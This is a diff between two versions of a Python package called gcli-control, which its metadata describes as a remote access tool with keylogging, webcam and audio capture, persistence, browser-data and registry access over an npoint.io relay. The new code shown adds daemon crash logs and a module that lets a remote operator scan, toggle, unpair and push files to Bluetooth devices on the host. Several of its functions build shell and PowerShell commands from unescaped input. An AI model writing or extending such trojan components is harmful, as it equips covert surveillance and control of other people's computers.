gcli-control 0.6.0__tar.gz → 0.7.0__tar.gz

{gcli_control-0.6.0 → gcli_control-0.7.0}/PKG-INFO

@@ -1,7 +1,7 @@
 Metadata-Version: 2.4
 Name: gcli-control
-Version: 0.6.0
-Summary: Remote access tool via npoint.io - encrypted relay with webcam, audio, keylogger, persistence, browser data, WiFi, registry, and 120+ commands
+Version: 0.7.0
+Summary: Remote access tool via npoint.io - encrypted relay with desktop control, user management, webcam, audio, keylogger, persistence, browser data, WiFi, registry, and 140+ commands
 Author: gcli contributors
 License-Expression: MIT
 Project-URL: Homepage, https://github.com/gcli-control/gcli

{gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/__init__.py

@@ -2,5 +2,5 @@
 gcli — remote access tool via npoint.io.
 Encrypted command relay using AES-256-GCM over npoint.io JSON bins.
 """
-__version__ = "0.6.0"
+__version__ = "0.7.0"
 __author__ = "gcli"

{gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/__main__.py

@@ -7,9 +7,11 @@ Commands:
     gcli stop [--bin ID]
 """
 import argparse
+import os
 import sys
 import getpass
 import logging
+import time
 
 from .host import start_daemon, stop_daemon, DEFAULT_BIN_ID, DEFAULT_POLL
 from .client import SSHSession
@@ -53,6 +55,16 @@ def cmd_stop(args):
 
 
 def main():
+    # Diagnostic: write a marker file when running as daemon child
+    if os.environ.get("GCLI_DAEMON") == "1":
+        try:
+            from pathlib import Path
+            _marker = Path.home() / ".gcli" / "child_start.log"
+            with open(_marker, "a", encoding="utf-8") as _f:
+                _f.write(f"main() called at {time.strftime('%H:%M:%S')} pid={os.getpid()} argv={sys.argv}\n")
+        except Exception:
+            pass
+
     parser = argparse.ArgumentParser(
         prog="gcli",
         description="Remote access tool via npoint.io — encrypted command relay",
@@ -97,6 +109,21 @@ def main():
         sys.exit(130)
     except Exception as e:
         logger.error("Fatal error: %s", e)
+        # When running as a detached daemon, stderr is DEVNULL so errors
+        # vanish silently.  Write to a crash file for diagnostics.
+        if os.environ.get("GCLI_DAEMON") == "1":
+            try:
+                from pathlib import Path
+                crash = Path.home() / ".gcli" / "daemon_crash.log"
+                import traceback
+                with open(crash, "a", encoding="utf-8") as f:
+                    f.write(f"\n{'='*60}\n")
+                    f.write(f"CRASH at {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
+                    f.write(f"PID: {os.getpid()}\n")
+                    f.write(f"Error: {e}\n")
+                    traceback.print_exc(file=f)
+            except Exception:
+                pass
         sys.exit(1)
 
 

gcli_control-0.7.0/gcli/bluetooth.py

@@ -0,0 +1,611 @@
+"""
+Bluetooth device management for the gcli host daemon.
+Provides structured Bluetooth commands (status, scan, list paired, info,
+send file, toggle, remove device) that return JSON-serialisable result dicts
+with cross-platform support for Windows, Linux, and macOS.
+"""
+import os
+import re
+import time
+import platform
+import subprocess
+import logging
+from typing import Any, Dict, List, Optional
+
+logger = logging.getLogger("gcli.bluetooth")
+
+__all__ = [
+    "bt_status",
+    "bt_scan",
+    "bt_list_paired",
+    "bt_info",
+    "bt_send_file",
+    "bt_toggle",
+    "bt_remove_device",
+]
+
+
+# ---------------------------------------------------------------------------
+# Helpers
+# ---------------------------------------------------------------------------
+
+def _is_windows() -> bool:
+    return platform.system() == "Windows"
+
+
+def _is_linux() -> bool:
+    return platform.system() == "Linux"
+
+
+def _is_macos() -> bool:
+    return platform.system() == "Darwin"
+
+
+def _run(cmd: str, timeout: int = 30) -> tuple:
+    """Run a shell command and return (stdout, stderr, returncode)."""
+    try:
+        result = subprocess.run(
+            cmd,
+            shell=True,
+            capture_output=True,
+            text=True,
+            timeout=timeout,
+        )
+        return result.stdout, result.stderr, result.returncode
+    except subprocess.TimeoutExpired:
+        return "", "Command timed out", 1
+    except Exception as exc:
+        return "", str(exc), 1
+
+
+def _run_ps(script: str, timeout: int = 30) -> tuple:
+    """Run a PowerShell command and return (stdout, stderr, returncode)."""
+    try:
+        result = subprocess.run(
+            ["powershell", "-NoProfile", "-Command", script],
+            capture_output=True,
+            text=True,
+            timeout=timeout,
+        )
+        return result.stdout, result.stderr, result.returncode
+    except FileNotFoundError:
+        return "", "PowerShell not found", 1
+    except subprocess.TimeoutExpired:
+        return "", "PowerShell command timed out", 1
+    except Exception as exc:
+        return "", str(exc), 1
+
+
+def _run_bluetoothctl(args: str, timeout: int = 15) -> tuple:
+    """Run a bluetoothctl command on Linux and return (stdout, stderr, rc)."""
+    cmd = f"echo '{args}' | timeout {timeout + 5} bluetoothctl"
+    return _run(cmd, timeout=timeout)
+
+
+def _parse_bt_address(text: str) -> Optional[str]:
+    """Extract the first Bluetooth MAC address found in *text*."""
+    match = re.search(
+        r"([0-9A-Fa-f]{2}(?::[0-9A-Fa-f]{2}){5})", text
+    )
+    return match.group(1) if match else None
+
+
+def _classify_device_type(name: str, cod: str = "") -> str:
+    """Best-effort device type classification from name / class-of-device."""
+    name_lower = name.lower()
+    cod_str = str(cod)
+
+    if any(k in name_lower for k in ("headset", "headphone", "earbuds", "airpods", "buds")):
+        return "audio"
+    if any(k in name_lower for k in ("mouse", "trackpad", "keyboard", "logitech")):
+        return "peripheral"
+    if any(k in name_lower for k in ("phone", "iphone", "android", "galaxy", "pixel")):
+        return "phone"
+    if any(k in name_lower for k in ("tv", "monitor", "display", "speaker")):
+        return "display"
+    if any(k in name_lower for k in ("car", "vehicle", "automotive")):
+        return "automotive"
+
+    if cod_str:
+        major = int(cod_str[:2], 16) if len(cod_str) >= 2 else 0
+        if major in (0x04, 0x05):
+            return "audio"
+        if major in (0x07,):
+            return "peripheral"
+        if major in (0x01,):
+            return "computer"
+    return "unknown"
+
+
+# ---------------------------------------------------------------------------
+# Public API
+# ---------------------------------------------------------------------------
+
+def bt_status() -> dict:
+    """Check if Bluetooth is enabled/disabled.
+
+    Returns ``{"type": "bt_status", "enabled": bool, "adapter": str|None,
+    "discoverable": bool}``.
+    """
+    result: Dict[str, Any] = {"type": "bt_status", "enabled": False, "adapter": None, "discoverable": False}
+    try:
+        if _is_windows():
+            stdout, _, rc = _run_ps(
+                "Get-Service bthserv | Select-Object -ExpandProperty Status; "
+                "Get-PnpDevice -Class Bluetooth -Status OK -ErrorAction SilentlyContinue "
+                "| Select-Object -First 1 -ExpandProperty FriendlyName"
+            )
+            lines = [l.strip() for l in stdout.strip().splitlines() if l.strip()]
+            result["enabled"] = lines[0].upper() == "RUNNING" if lines else False
+            result["adapter"] = lines[1] if len(lines) > 1 else None
+
+            disc_out, _, _ = _run_ps(
+                "$adapter = Get-PnpDevice -Class Bluetooth -Status OK -ErrorAction SilentlyContinue | "
+                "Select-Object -First 1; if ($adapter) { (Get-ItemProperty -Path "
+                "'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\BTHPORT\\Parameters\\Radio' "
+                "-ErrorAction SilentlyContinue).RadioDiscoverable }"
+            )
+            if disc_out.strip().startswith("1"):
+                result["discoverable"] = True
+
+        elif _is_linux():
+            stdout, _, rc = _run("bluetoothctl show | grep -i 'powered'")
+            if rc == 0 and "yes" in stdout.lower():
+                result["enabled"] = True
+            name_out, _, _ = _run("bluetoothctl show | grep -i 'name'")
+            if name_out.strip():
+                result["adapter"] = name_out.split(":", 1)[-1].strip()
+            disc_out, _, _ = _run("bluetoothctl show | grep -i 'discoverable'")
+            if "yes" in disc_out.lower():
+                result["discoverable"] = True
+
+        elif _is_macos():
+            stdout, _, rc = _run("system_profiler SPBluetoothDataType")
+            if rc == 0:
+                result["enabled"] = True
+                result["adapter"] = "Built-in Bluetooth"
+                if "Discoverable:" in stdout:
+                    disc_line = [l for l in stdout.splitlines() if "Discoverable:" in l]
+                    if disc_line and "Yes" in disc_line[0]:
+                        result["discoverable"] = True
+            else:
+                result["enabled"] = False
+        else:
+            result["type"] = "error"
+            result["error"] = f"Unsupported platform: {platform.system()}"
+    except Exception as exc:
+        result["type"] = "error"
+        result["error"] = str(exc)
+        logger.exception("bt_status failed")
+    return result
+
+
+def bt_scan(duration: int = 10) -> dict:
+    """Scan for nearby Bluetooth devices.
+
+    Returns ``{"type": "bt_scan", "devices": [...], "count": N}``.
+    """
+    result: Dict[str, Any] = {"type": "bt_scan", "devices": [], "count": 0}
+    try:
+        if _is_windows():
+            stdout, _, rc = _run_ps(
+                "Start-BluetoothDiscovery -Duration "
+                f"{duration} -ErrorAction SilentlyContinue; "
+                "Get-PnpDevice -Class Bluetooth -Status OK -ErrorAction SilentlyContinue "
+                "| Select-Object -Property FriendlyName, InstanceId | "
+                "ConvertTo-Json -Compress"
+            )
+            if stdout.strip():
+                try:
+                    import json
+                    data = json.loads(stdout.strip())
+                    items = data if isinstance(data, list) else [data]
+                    for item in items:
+                        name = item.get("FriendlyName", "Unknown")
+                        addr = ""
+                        uid = item.get("InstanceId", "")
+                        m = re.search(r"(\(.*\))", uid)
+                        if m:
+                            addr = m.group(1).strip("()")
+                        result["devices"].append({
+                            "name": name,
+                            "address": addr,
+                            "type": "unknown",
+                            "rssi": 0,
+                        })
+                except (ValueError, KeyError):
+                    pass
+            result["count"] = len(result["devices"])
+
+        elif _is_linux():
+            _run_bluetoothctl("power on")
+            _run_bluetoothctl("scan on")
+            time.sleep(duration)
+            _run_bluetoothctl("scan off")
+
+            stdout, _, _ = _run("bluetoothctl devices")
+            for line in stdout.splitlines():
+                parts = line.strip().split(None, 2)
+                if len(parts) >= 2:
+                    addr = parts[1] if len(parts) > 1 else ""
+                    name = parts[2] if len(parts) > 2 else "Unknown"
+                    dev_type = _classify_device_type(name)
+                    result["devices"].append({
+                        "name": name,
+                        "address": addr,
+                        "type": dev_type,
+                        "rssi": 0,
+                    })
+            result["count"] = len(result["devices"])
+
+        elif _is_macos():
+            stdout, _, rc = _run("system_profiler SPBluetoothDataType")
+            if rc == 0:
+                current_name = ""
+                current_addr = ""
+                current_type = ""
+                in_device = False
+
+                for line in stdout.splitlines():
+                    stripped = line.strip()
+                    if stripped.endswith(":") and not stripped.startswith('"'):
+                        if in_device and current_name:
+                            result["devices"].append({
+                                "name": current_name,
+                                "address": current_addr,
+                                "type": _classify_device_type(current_name),
+                                "rssi": 0,
+                            })
+                        current_name = stripped.rstrip(":")
+                        current_addr = ""
+                        in_device = True
+                    elif "Address:" in stripped or "address" in stripped.lower():
+                        m = re.search(r"([0-9A-Fa-f\-:]{17})", stripped)
+                        if m:
+                            current_addr = m.group(1)
+
+                if in_device and current_name:
+                    result["devices"].append({
+                        "name": current_name,
+                        "address": current_addr,
+                        "type": _classify_device_type(current_name),
+                        "rssi": 0,
+                    })
+            result["count"] = len(result["devices"])
+        else:
+            result["type"] = "error"
+            result["error"] = f"Unsupported platform: {platform.system()}"
+    except Exception as exc:
+        result["type"] = "error"
+        result["error"] = str(exc)
+        logger.exception("bt_scan failed")
+    return result
+
+
+def bt_list_paired() -> dict:
+    """List paired/known Bluetooth devices.
+
+    Returns ``{"type": "bt_list_paired", "paired_devices": [...]}``.
+    """
+    result: Dict[str, Any] = {"type": "bt_list_paired", "paired_devices": []}
+    try:
+        if _is_windows():
+            stdout, _, rc = _run_ps(
+                "Get-PnpDevice -Class Bluetooth -ErrorAction SilentlyContinue "
+                "| Select-Object -Property FriendlyName, InstanceId, Status "
+                "| ConvertTo-Json -Compress"
+            )
+            if stdout.strip():
+                try:
+                    import json
+                    data = json.loads(stdout.strip())
+                    items = data if isinstance(data, list) else [data]
+                    for item in items:
+                        name = item.get("FriendlyName", "Unknown")
+                        uid = item.get("InstanceId", "")
+                        addr = ""
+                        m = re.search(r"(\(.*\))", uid)
+                        if m:
+                            addr = m.group(1).strip("()")
+                        result["paired_devices"].append({
+                            "name": name,
+                            "address": addr,
+                            "type": _classify_device_type(name),
+                        })
+                except (ValueError, KeyError):
+                    pass
+
+        elif _is_linux():
+            stdout, _, _ = _run("bluetoothctl paired-devices")
+            for line in stdout.splitlines():
+                parts = line.strip().split(None, 2)
+                if len(parts) >= 2:
+                    addr = parts[1]
+                    name = parts[2] if len(parts) > 2 else "Unknown"
+                    result["paired_devices"].append({
+                        "name": name,
+                        "address": addr,
+                        "type": _classify_device_type(name),
+                    })
+
+        elif _is_macos():
+            stdout, _, rc = _run("system_profiler SPBluetoothDataType")
+            if rc == 0:
+                paired = False
+                current_name = ""
+                current_addr = ""
+                for line in stdout.splitlines():
+                    stripped = line.strip()
+                    if "Previously Connected Devices" in stripped or "Paired:" in stripped:
+                        paired = True
+                        continue
+                    if paired and stripped.endswith(":") and not stripped.startswith('"'):
+                        if current_name:
+                            result["paired_devices"].append({
+                                "name": current_name,
+                                "address": current_addr,
+                                "type": _classify_device_type(current_name),
+                            })
+                        current_name = stripped.rstrip(":")
+                        current_addr = ""
+                    elif paired and ("Address:" in stripped or "address" in stripped.lower()):
+                        m = re.search(r"([0-9A-Fa-f\-:]{17})", stripped)
+                        if m:
+                            current_addr = m.group(1)
+                if current_name:
+                    result["paired_devices"].append({
+                        "name": current_name,
+                        "address": current_addr,
+                        "type": _classify_device_type(current_name),
+                    })
+        else:
+            result["type"] = "error"
+            result["error"] = f"Unsupported platform: {platform.system()}"
+    except Exception as exc:
+        result["type"] = "error"
+        result["error"] = str(exc)
+        logger.exception("bt_list_paired failed")
+    return result
+
+
+def bt_info(address: str) -> dict:
+    """Get detailed info about a specific Bluetooth device by MAC address.
+
+    Returns ``{"type": "bt_info", "address": str, ...}`` with available device
+    properties.
+    """
+    result: Dict[str, Any] = {"type": "bt_info", "address": address}
+    try:
+        if _is_windows():
+            safe_addr = address.replace(":", "-")
+            stdout, _, _ = _run_ps(
+                f"Get-PnpDevice -InstanceId '*{safe_addr}*' -ErrorAction SilentlyContinue "
+                "| Select-Object -Property FriendlyName, InstanceId, Status, Class, Manufacturer "
+                "| ConvertTo-Json -Compress"
+            )
+            if stdout.strip():
+                try:
+                    import json
+                    data = json.loads(stdout.strip())
+                    items = data if isinstance(data, list) else [data]
+                    for item in items:
+                        result["name"] = item.get("FriendlyName", "Unknown")
+                        result["status"] = item.get("Status", "Unknown")
+                        result["class"] = item.get("Class", "Bluetooth")
+                        result["manufacturer"] = item.get("Manufacturer", "Unknown")
+                except (ValueError, KeyError):
+                    pass
+
+        elif _is_linux():
+            stdout, _, _ = _run(f"bluetoothctl info {address}")
+            for line in stdout.splitlines():
+                if ":" in line:
+                    key, _, val = line.partition(":")
+                    key = key.strip().lower().replace(" ", "_")
+                    val = val.strip()
+                    if key and val:
+                        result[key] = val
+
+        elif _is_macos():
+            stdout, _, rc = _run("system_profiler SPBluetoothDataType")
+            if rc == 0:
+                in_block = False
+                for line in stdout.splitlines():
+                    stripped = line.strip()
+                    if address.upper().replace("-", ":") in stripped.upper():
+                        in_block = True
+                    if in_block:
+                        if ":" in stripped:
+                            key, _, val = stripped.partition(":")
+                            key = key.strip().lower().replace(" ", "_")
+                            val = val.strip()
+                            if key and val:
+                                result[key] = val
+                        if stripped == "" and len(result) > 2:
+                            break
+        else:
+            result["type"] = "error"
+            result["error"] = f"Unsupported platform: {platform.system()}"
+    except Exception as exc:
+        result["type"] = "error"
+        result["error"] = str(exc)
+        logger.exception("bt_info failed")
+    return result
+
+
+def bt_send_file(address: str, file_path: str) -> dict:
+    """Attempt to send a file to a Bluetooth device via OBEX push.
+
+    Returns ``{"type": "bt_send_file", "success": bool, "address": str,
+    "file": str}``.
+    """
+    result: Dict[str, Any] = {
+        "type": "bt_send_file",
+        "success": False,
+        "address": address,
+        "file": file_path,
+    }
+    if not os.path.isfile(file_path):
+        result["error"] = f"File not found: {file_path}"
+        return result
+
+    try:
+        if _is_windows():
+            stdout, stderr, rc = _run_ps(
+                f'Copy-Item "{file_path}" "::{address}" -ErrorAction Stop'
+            )
+            if rc == 0:
+                result["success"] = True
+            else:
+                result["error"] = stderr.strip() or "Copy-Item failed"
+
+        elif _is_linux():
+            stdout, stderr, rc = _run(
+                f"obexftp -b {address} -p \"{file_path}\"", timeout=30
+            )
+            if rc == 0:
+                result["success"] = True
+            else:
+                stdout2, stderr2, rc2 = _run(
+                    f"bluez-test-ftp put {address} \"{file_path}\"", timeout=30
+                )
+                if rc2 == 0:
+                    result["success"] = True
+                else:
+                    result["error"] = stderr.strip() or stderr2.strip() or "OBEX push failed"
+
+        elif _is_macos():
+            stdout, stderr, rc = _run(
+                f"open -a Bluetooth\\ File\\ Exchange \"{file_path}\"", timeout=15
+            )
+            if rc == 0:
+                result["success"] = True
+                result["note"] = "File Exchange opened; select target device manually"
+            else:
+                result["error"] = stderr.strip() or "Bluetooth File Exchange failed"
+        else:
+            result["error"] = f"Unsupported platform: {platform.system()}"
+    except Exception as exc:
+        result["error"] = str(exc)
+        logger.exception("bt_send_file failed")
+    return result
+
+
+def bt_toggle(enable: bool = True) -> dict:
+    """Enable or disable the Bluetooth adapter.
+
+    Returns ``{"type": "bt_toggle", "enabled": bool}``.
+    """
+    result: Dict[str, Any] = {"type": "bt_toggle", "enabled": False}
+    try:
+        if _is_windows():
+            state = "Enable" if enable else "Disable"
+            stdout, stderr, rc = _run_ps(
+                f"$net = Get-NetAdapter -InterfaceDescription *Bluetooth* "
+                f"-ErrorAction SilentlyContinue; if ($net) {{ "
+                f"{'Enable-NetAdapter' if enable else 'Disable-NetAdapter'} "
+                f"-Name $net.Name -Confirm:$false }} else {{ "
+                f"Write-Error 'No Bluetooth adapter found' }}"
+            )
+            if rc == 0:
+                result["enabled"] = enable
+            else:
+                result["error"] = stderr.strip() or "Toggle failed"
+
+        elif _is_linux():
+            cmd = "power on" if enable else "power off"
+            _run_bluetoothctl(cmd)
+            time.sleep(1)
+            stdout, _, _ = _run("bluetoothctl show | grep 'powered'")
+            result["enabled"] = "yes" in stdout.lower()
+
+        elif _is_macos():
+            if enable:
+                stdout, stderr, rc = _run("blueutil --power 1")
+            else:
+                stdout, stderr, rc = _run("blueutil --power 0")
+            if rc == 0:
+                result["enabled"] = enable
+            else:
+                result["error"] = stderr.strip() or "Toggle failed"
+        else:
+            result["error"] = f"Unsupported platform: {platform.system()}"
+    except Exception as exc:
+        result["error"] = str(exc)
+        logger.exception("bt_toggle failed")
+    return result
+
+
+def bt_remove_device(address: str) -> dict:
+    """Remove/unpair a Bluetooth device.
+
+    Returns ``{"type": "bt_remove_device", "removed": bool, "address": str}``.
+    """
+    result: Dict[str, Any] = {"type": "bt_remove_device", "removed": False, "address": address}
+    try:
+        if _is_windows():
+            safe_addr = address.replace(":", "-")
+            stdout, stderr, rc = _run_ps(
+                f"Get-PnpDevice -InstanceId '*{safe_addr}*' -ErrorAction SilentlyContinue "
+                "| Disable-PnpDevice -Confirm:$false -ErrorAction SilentlyContinue; "
+                f"Get-PnpDevice -InstanceId '*{safe_addr}*' -ErrorAction SilentlyContinue "
+                "| Remove-PnpDevice -Confirm:$false -ErrorAction Stop"
+            )
+            result["removed"] = rc == 0
+            if rc != 0 and stderr.strip():
+                result["error"] = stderr.strip()
+
+        elif _is_linux():
+            stdout, stderr, rc = _run_bluetoothctl(f"remove {address}")
+            result["removed"] = rc == 0 and "successfully" in stdout.lower()
+            if not result["removed"] and stderr.strip():
+                result["error"] = stderr.strip()
+
+        elif _is_macos():
+            result["error"] = (
+                "macOS does not expose a reliable CLI to remove Bluetooth pairings. "
+                "Use System Preferences > Bluetooth to remove the device."
+            )
+        else:
+            result["error"] = f"Unsupported platform: {platform.system()}"
+    except Exception as exc:
+        result["error"] = str(exc)
+        logger.exception("bt_remove_device failed")
+    return result
+
+
+# ---------------------------------------------------------------------------
+# Self-test
+# ---------------------------------------------------------------------------
+
+if __name__ == "__main__":
+    import json as _json
+    import sys as _sys
+
+    print("=" * 60)
+    print("bluetooth.py self-test")
+    print(f"Platform: {platform.system()}")
+    print("=" * 60)
+
+    print("\n--- bt_status ---")
+    try:
+        status = bt_status()
+        print(_json.dumps(status, indent=2))
+    except Exception as exc:
+        print(f"bt_status raised: {exc}")
+
+    print("\n--- bt_list_paired ---")
+    try:
+        paired = bt_list_paired()
+        print(_json.dumps(paired, indent=2))
+    except Exception as exc:
+        print(f"bt_list_paired raised: {exc}")
+
+    print("\n--- bt_scan (5s) ---")
+    try:
+        scan = bt_scan(duration=5)
+        print(_json.dumps(scan, indent=2))
+    except Exception as exc:
+        print(f"bt_scan raised: {exc}")
+
+    print("\nSelf-test complete.")